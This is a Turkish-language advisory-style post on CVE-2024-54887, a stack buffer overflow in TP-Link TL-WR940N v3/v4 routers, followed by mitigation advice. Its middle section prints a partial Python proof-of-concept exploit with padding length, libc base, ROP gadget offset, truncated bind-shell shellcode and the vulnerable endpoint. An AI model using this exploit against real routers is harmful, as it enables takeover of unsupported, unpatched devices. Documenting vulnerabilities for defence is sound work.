
TP-Link TL-WR940N router modellerinde tespit edilen kritik bir zafiyet, CVE-2024-54887 olarak izlenmektedir. Bu zafiyet, IPv6 DNS sunucu konfigürasyon parametrelerinin (dnsserver1 ve dnsserver2) uygunsuz şekilde kontrol edilmesinden kaynaklanmaktadır. Zafiyet, bellek yönetimindeki bir taşma (buffer overflow) nedeniyle söz konusu parametrelerin uzunluk kontrolü yapılmadan belleğe kopyalanmasına izin verir.
Joward adlı bir güvenlik araştırmacısı, bu zafiyeti analiz ederek bir PoC (Proof of Concept) exploiti yayınladı. Araştırma, router’ın firmware yapısındaki modern koruma önlemlerinin eksikliğine işaret ediyor: NX (Non-Executable) ve PIE (Position Independent Executable) gibi özellikler bulunmamaktadır.
Joward, bu eksikliklerin sınırlı donanıma sahip cihazlarda istismar edilebilirlik oranını artırdığını belirtmektedir. Bu durum, cihazları uzaktan kod çalıştırma (Remote Code Execution – RCE) veya hizmet reddi (Denial-of-Service – DoS) súldırılarına karşı savunmasız bırakabilir.
2. Etkilenen Sürümler ve Dosyalar
Aşağıdaki tabloda, zafiyetten etkilenen sürümler ve bu cihazlarda gözlemlenen özellikler özetlenmiştir:
Model | Donanım Versiyonu | Firmware Sürümü | Koruma Eksiklikleri |
---|---|---|---|
TP-Link TL-WR940N | v3 ve v4 | En son firmware | NX, PIE ve ASLR eksikliği |
Bu donanım versiyonları, artık üretici tarafından desteklenmediği için güvenlik güncellemeleri almamaktadır.
3. PoC Exploit ve Teknik Analiz
Araştırmacının geliştirdiği PoC exploiti, router’ın web arayüzündeki dnsserver1 ve dnsserver2 parametrelerini hedef alarak bir stack buffer overflow oluşturuyor. Exploit, ROP (Return Oriented Programming) tekniklerini kullanarak aşağıdaki adımlarla çalışıyor:
3.1. Statik ve Dinamik Analiz
- Araçlar: Firmware analizi için Firmadyne ve Ghidra gibi ileri düzey analiz araçları kullanılmıştır.
- Zafiyetin Belirlenmesi: dnsserver1 ve dnsserver2 parametrelerinin uzunluk kontrolü yapmadan belleğe kopyalanması, kritik bir bellek yönetim hatası oluşturuyor.
- Sonuç: Parametrelerin bellek adreslerini manipüle ederek zararlı kodun yürütülmesi sağlanmıştır.
3.2. Exploit Geliştirme
- ROP Zinciri: MIPS Linux için ROP zincirleri oluşturulmuştur. Bu zincirler, istismar edilen cihazda shellcode çalıştırılmasını sağlar.
- Shellcode: Bind shell kodu kullanılarak cihaz üzerinde tam kontrol elde edilmiştir.
- Kod Örneği:
#!/usr/bin/python3
import requests
import struct
def exploit(url, auth):
libc_base = 0x2aae2000
shellcode = b"\x24\x0f\xff\xfa\x01\xe0\x78..." # Kısaltılmıştır.
payload = 'A' * 596 # Buffer overflow
payload += struct.pack(">I", libc_base + 0x3680c) # ROP gadget
payload += shellcode
exploit_url = url + "Wan6to4TunnelCfgRpm.htm?dnsserver1=" + payload
requests.get(exploit_url, headers={"Cookie": auth})
Bu kod, hedef cihaza zararlı bir HTTP isteği göndererek kontrolü ele geçirmeyi amaçlar.
4. Çözüm ve Öneriler
Kullanıcılar ve üreticiler için aşağıdaki önlemler önerilmektedir:
- Güncel Donanım Kullanımı:
- TP-Link, eski donanımların desteklenmediğini onaylamıştır. Yeni modellere geçiş yapılması şidetle tavsiye edilir.
- Güncellemeler:
- TP-Link’in sağladığı firmware güncellemelerini düzenli olarak kontrol edin ve uygulayın.
- Güvenlik Ayarları:
- Remote management (Çevrimiçi yönetim) gibi kritik özellikleri devre dışı bırakın.
- Router parolalarını güçlü hale getirin.
- Ağınızın İzlenmesi:
- Ağ trafiğinizi düzenli olarak analiz edin ve olağan dışı etkinlikleri takip edin.
5. Sonuç ve Öneriler
CVE-2024-54887 zafiyeti, eski donanımların modern tehditlere karşı savunmasız kalabileceğini göstermektedir. Kullanıcıların donanımlarının destek durumunu düzenli olarak kontrol etmesi ve gerekli güncellemeleri uygulaması hayati önem taşımaktadır.
Birlikte Güvende Olalım!
#CyberSecurity #NetworkSecurity #TPLink #Exploit #CVE202454887